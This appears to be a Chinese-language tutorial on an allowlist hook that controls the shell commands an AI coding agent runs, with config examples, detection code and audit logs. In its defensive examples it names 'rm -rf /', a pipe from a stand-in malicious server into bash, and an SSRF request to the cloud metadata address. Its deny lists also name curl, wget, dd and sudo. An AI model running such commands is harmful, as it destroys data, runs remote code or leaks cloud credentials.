命令白名单Hook:安全命令管控

安全管控Claude执行的Shell命令

一、命令白名单Hook的设计

命令白名单Hook是Claude Code安全体系中的核心防线之一。它的设计目标是限制Claude Code在运行过程中只能执行预先批准的Shell命令,从而有效防止恶意命令注入、误操作和数据泄露等安全风险。

在大模型Agent的开发环境中,AI助手会频繁调用Shell命令来完成文件操作、代码构建、版本控制等任务。如果没有命令管控机制,攻击者可能通过Prompt注入诱导AI执行 rm -rf /curl 恶意服务器 | bash 等危险命令。命令白名单Hook通过"允许-拒绝"策略从根本上杜绝了这一类风险。

设计原理: 命令白名单Hook基于"最小权限原则"——只授予AI执行任务所必需的命令权限,禁止一切未明确授权的操作。这与操作系统的安全设计思路一脉相承。

核心架构

命令白名单Hook的整体架构包含以下核心模块:

Hook切入点设计

命令白名单Hook主要在 before:tool/Bashafter:tool/Bash 两个事件点切入:

要点总结: 命令白名单Hook是"事前检查+事后审计"的双重安全机制。事前检查防止危险命令执行,事后审计提供完整追溯能力。两者缺一不可。

二、白名单/黑名单配置

白名单和黑名单是命令管控的两种基础策略。推荐使用白名单模式作为默认策略,黑名单模式作为补充。

白名单模式(推荐)

白名单模式仅允许列表中的命令执行,所有未在列表中的命令都会被拒绝。这种方式提供了最强的安全保障,因为即使AI被Prompt注入,也无法执行白名单之外的任何命令。

// 白名单配置示例 (JSON格式) { "allowlist": { "commands": [ "ls", "cat", "head", "tail", "wc", "grep", "find", "sort", "uniq", "git", "npm", "node", "python", "mkdir", "touch", "cp", "mv", "rm", "echo", "printf", "date", "pwd", "curl", "wget" ], "mode": "strict" // strict: 严格模式,拒绝所有未列出的命令 } }

黑名单模式

黑名单模式允许除列表中命令以外的所有命令执行。这种模式相对宽松,适合开发环境或信任度较高的场景,但无法防御未知的新型攻击命令。

// 黑名单配置示例 (JSON格式) { "blocklist": { "commands": [ "shred", "dd", "mkfs", "fdisk", "chmod", "chown", "sudo", "su", "passwd", "useradd", "usermod", "kill", "pkill", "systemctl", "reboot", "shutdown", "init", "wget", "curl" // 在严格环境中可加入 ], "action": "block_and_alert" // block: 阻断; block_and_alert: 阻断并告警 } }

按项目/环境差异化配置

不同的项目可能有不同的安全需求。命令白名单Hook支持按项目和环境进行差异化配置:

// 多环境差异化配置示例 { "profiles": { "development": { "mode": "blocklist", "blocklist": { "commands": ["shred", "dd", "mkfs"] } }, "staging": { "mode": "allowlist", "allowlist": { "commands": ["ls", "cat", "git", "npm", "node"] } }, "production": { "mode": "allowlist", "allowlist": { "commands": ["ls", "cat", "tail", "grep"] }, "audit": { "enabled": true, "log_all": true } } }, "current_profile": "development" }
安全建议: 对于生产环境或涉及敏感数据的项目,务必使用白名单模式。黑名单模式只能作为开发环境的辅助手段,永远不要依赖黑名单来阻止所有攻击。

三、危险参数检测Hook(before:tool/Bash)

即使命令在白名单中,某些参数组合也可能是危险的。危险参数检测Hook在 before:tool/Bash 事件中拦截命令调用,对命令参数进行深度分析,识别并阻断危险操作。

检测rm -rf等破坏性参数

rm 命令通常是白名单中的合法命令(用于清理临时文件),但 rm -rf /rm -rf ~rm -rf /* 等参数组合会带来毁灭性后果。参数检测器专门针对这类模式进行匹配。

// 危险rm参数检测逻辑示例 function detectDangerousRmArgs(args) { const dangerousPatterns = [ { pattern: /^-rf\s+\/|^-rf\s+\/\*/, risk: '删除根目录' }, { pattern: /^-rf\s+~/, risk: '删除用户主目录' }, { pattern: /^-rf\s+\/etc/, risk: '删除系统配置' }, { pattern: /^-rf\s+\/var/, risk: '删除系统数据' }, { pattern: /^-rf\s+\/boot/, risk: '删除启动分区' }, { pattern: /^-rf\s+\/dev\/null/, risk: '清空关键设备' } ]; for (const { pattern, risk } of dangerousPatterns) { if (pattern.test(args)) { return { dangerous: true, risk }; } } return { dangerous: false }; }

检测curl/wget命令的SSRF风险参数

curlwget 常用于下载依赖或调用API,但可能被用于SSRF攻击、数据外泄或下载恶意脚本。参数检测器会对这些命令的URL参数进行安全检查。

检测git push --force等危险Git操作

Git是开发工作流中的高频命令,但某些Git操作具有破坏性。参数检测器会标记以下危险Git操作:

危险操作 风险说明 建议替代
git push --force 强制推送,覆盖远程仓库历史 git push --force-with-lease
git reset --hard HEAD~ 丢弃最近的提交和本地修改 git reset --soft HEAD~
git checkout -- . 丢弃所有本地未提交的修改 逐个文件检查后再决定
git clean -fd 强制删除所有未跟踪文件和目录 git clean -n 预览后再操作
git branch -D 强制删除尚未合并的分支 git branch -d

检测管道组合实施的复杂攻击

攻击者经常利用Shell的管道(|)、分号(;)、逻辑与(&&)等操作符将多个命令串联起来实施复杂攻击。参数检测器需要对整个命令字符串进行整体分析。

// Shell操作符检测逻辑示例 function detectShellOperators(commandStr) { const shellOperators = [ { op: '|', risk: '管道执行——可能用于命令链攻击' }, { op: ';', risk: '顺序执行——可能同时执行多个命令' }, { op: '&&', risk: '条件执行——可能在前置成功后执行恶意命令' }, { op: '||', risk: '条件执行——可能在前置失败后执行恶意命令' }, { op: '$', risk: '变量/命令替换——可能动态生成恶意命令' }, { op: '`', risk: '命令替换——可能在内联中执行恶意命令' }, { op: '>()',risk: '进程替换——可能执行隐藏命令' } ]; // 安全的白名单组合(允许的管道用法) const safePatterns = [ /^\s*(cat|ls|grep|head|tail|sort|uniq|wc)\s+.*\|\s*(head|tail|grep|sort|uniq|wc|less|more)\s*/ ]; for (const { op, risk } of shellOperators) { if (commandStr.includes(op)) { // 检查是否为安全模式 const isSafe = safePatterns.some(p => p.test(commandStr)); if (!isSafe) { return { dangerous: true, operator: op, risk }; } } } return { dangerous: false }; }
最佳实践: 危险参数检测应当分层进行——先做命令维度的白名单检查,再对参数做模式匹配,最后对命令组合做语义分析。三层检测叠加可以提供深度防御。

四、命令频率和超时控制

即使每个单独的命令都是安全的,高频调用或长时间运行的命令也可能带来风险。频率控制和超时控制是命令管控的第二道防线。

频率限制设计

频率限制防止AI在短时间内大量调用Shell命令,从而避免以下风险:

// 频率限制配置示例 { "rate_limit": { "enabled": true, "strategy": "sliding_window", // sliding_window: 滑动窗口; token_bucket: 令牌桶 "limits": [ { "command": "*", "max_calls": 30, "window_seconds": 60 }, // 全部命令: 30次/分钟 { "command": "curl", "max_calls": 5, "window_seconds": 60 }, // curl: 5次/分钟 { "command": "wget", "max_calls": 3, "window_seconds": 60 }, // wget: 3次/分钟 { "command": "git", "max_calls": 20, "window_seconds": 60 }, // git: 20次/分钟 { "command": "npm", "max_calls": 10, "window_seconds": 60 }, // npm: 10次/分钟 { "command": "rm", "max_calls": 10, "window_seconds": 60 } // rm: 10次/分钟 ], "action_on_exceed": "block_and_alert" } }

超时控制设计

某些命令可能会长时间运行(如大型编译任务、网络请求等)。超时控制确保命令不会无限期运行,从而避免资源泄漏。

// 超时控制配置示例 { "timeout": { "enabled": true, "default_timeout_ms": 30000, // 默认超时:30秒 "per_command": { "npm install": 120000, // npm install: 120秒 "pip install": 120000, // pip install: 120秒 "make": 180000, // make: 180秒 "curl": 60000, // curl: 60秒 "wget": 60000, // wget: 60秒 "git clone": 180000 // git clone: 180秒 }, "action_on_timeout": "terminate_and_alert" // terminate: 终止; terminate_and_alert: 终止并告警 } }

要点总结: 频率限制防止"量"的攻击(大量小命令),超时控制防止"质"的攻击(单个大命令)。两者配合使用,可以覆盖绝大多数命令层面的滥用场景。

高频调用告警通知

当命令调用频率超过阈值或发生超时时,系统应当触发告警通知:

五、命令执行审计

审计日志是安全事件溯源和合规审计的基础。命令白名单Hook在 after:tool/Bash 事件中记录每次命令执行的完整信息。

审计日志格式

每条审计记录包含以下字段:

字段 说明 示例
timestamp 命令执行时间(ISO 8601格式) 2026-05-08T10:07:48.000Z
session_id 当前会话的唯一标识 sess_abc123def456
command 执行的完整命令字符串 git status
args 命令参数数组 ["status"]
working_dir 执行命令时的工作目录 /home/user/project
exit_code 命令退出码 0
duration_ms 命令执行耗时(毫秒) 234
allowed 是否通过白名单检查 true
check_result 安全检测结果详情 {"bypassed": false, "risk": null}

审计日志存储

审计日志可以采用多种存储方式:

// 审计日志输出示例 (JSON Lines格式) {"timestamp":"2026-05-08T10:07:48.000Z","session_id":"sess_abc123","command":"ls","args":["-la"],"working_dir":"/home/user/project","exit_code":0,"duration_ms":12,"allowed":true,"check_result":{"bypassed":false,"risk":null}} {"timestamp":"2026-05-08T10:07:49.000Z","session_id":"sess_abc123","command":"git","args":["status"],"working_dir":"/home/user/project","exit_code":0,"duration_ms":45,"allowed":true,"check_result":{"bypassed":false,"risk":null}} {"timestamp":"2026-05-08T10:07:50.000Z","session_id":"sess_abc123","command":"curl","args":["http://169.254.169.254/latest/meta-data/"],"working_dir":"/home/user/project","exit_code":1,"duration_ms":230,"allowed":false,"check_result":{"bypassed":true,"risk":"SSRF: 请求云元数据服务"}}

审计日志查询

审计日志的价值在于可查询和可追溯。以下是一些常用查询场景:

# 查看所有被拒绝的命令 jq 'select(.allowed == false) | {command, check_result}' audit.jsonl # 查看某个会话的所有操作 jq 'select(.session_id == "sess_abc123")' audit.jsonl # 统计各命令的执行次数 jq -r '.command' audit.jsonl | sort | uniq -c | sort -rn # 查看执行耗时超过1秒的命令 jq 'select(.duration_ms > 1000) | {command, duration_ms}' audit.jsonl # 查看特定时间范围内的操作 jq 'select(.timestamp > "2026-05-08T00:00:00Z" and .timestamp < "2026-05-09T00:00:00Z")' audit.jsonl

异常命令执行告警

审计系统应当实时分析命令执行数据,对以下异常行为触发告警:

实践提示: 审计日志的价值随时间的积累而增长。建议至少保留90天以上的审计数据,并定期进行安全审计复盘。日志轮转策略应当确保长期存储的可行性,同时控制存储成本。

核心要点总结: 命令白名单Hook是一个完整的安全管控体系,涵盖"事前准入检查(白名单+黑名单)→ 事中参数深度检测(危险模式匹配+Shell操作符分析)→ 执行资源控制(频率限制+超时控制)→ 事后审计追溯(完整日志+异常告警)"四个环节。每一环节都不可或缺,共同构建起Shell命令执行的安全防线。在生产环境中部署Claude Code等AI Agent时,命令白名单Hook是必须配置的安全组件之一。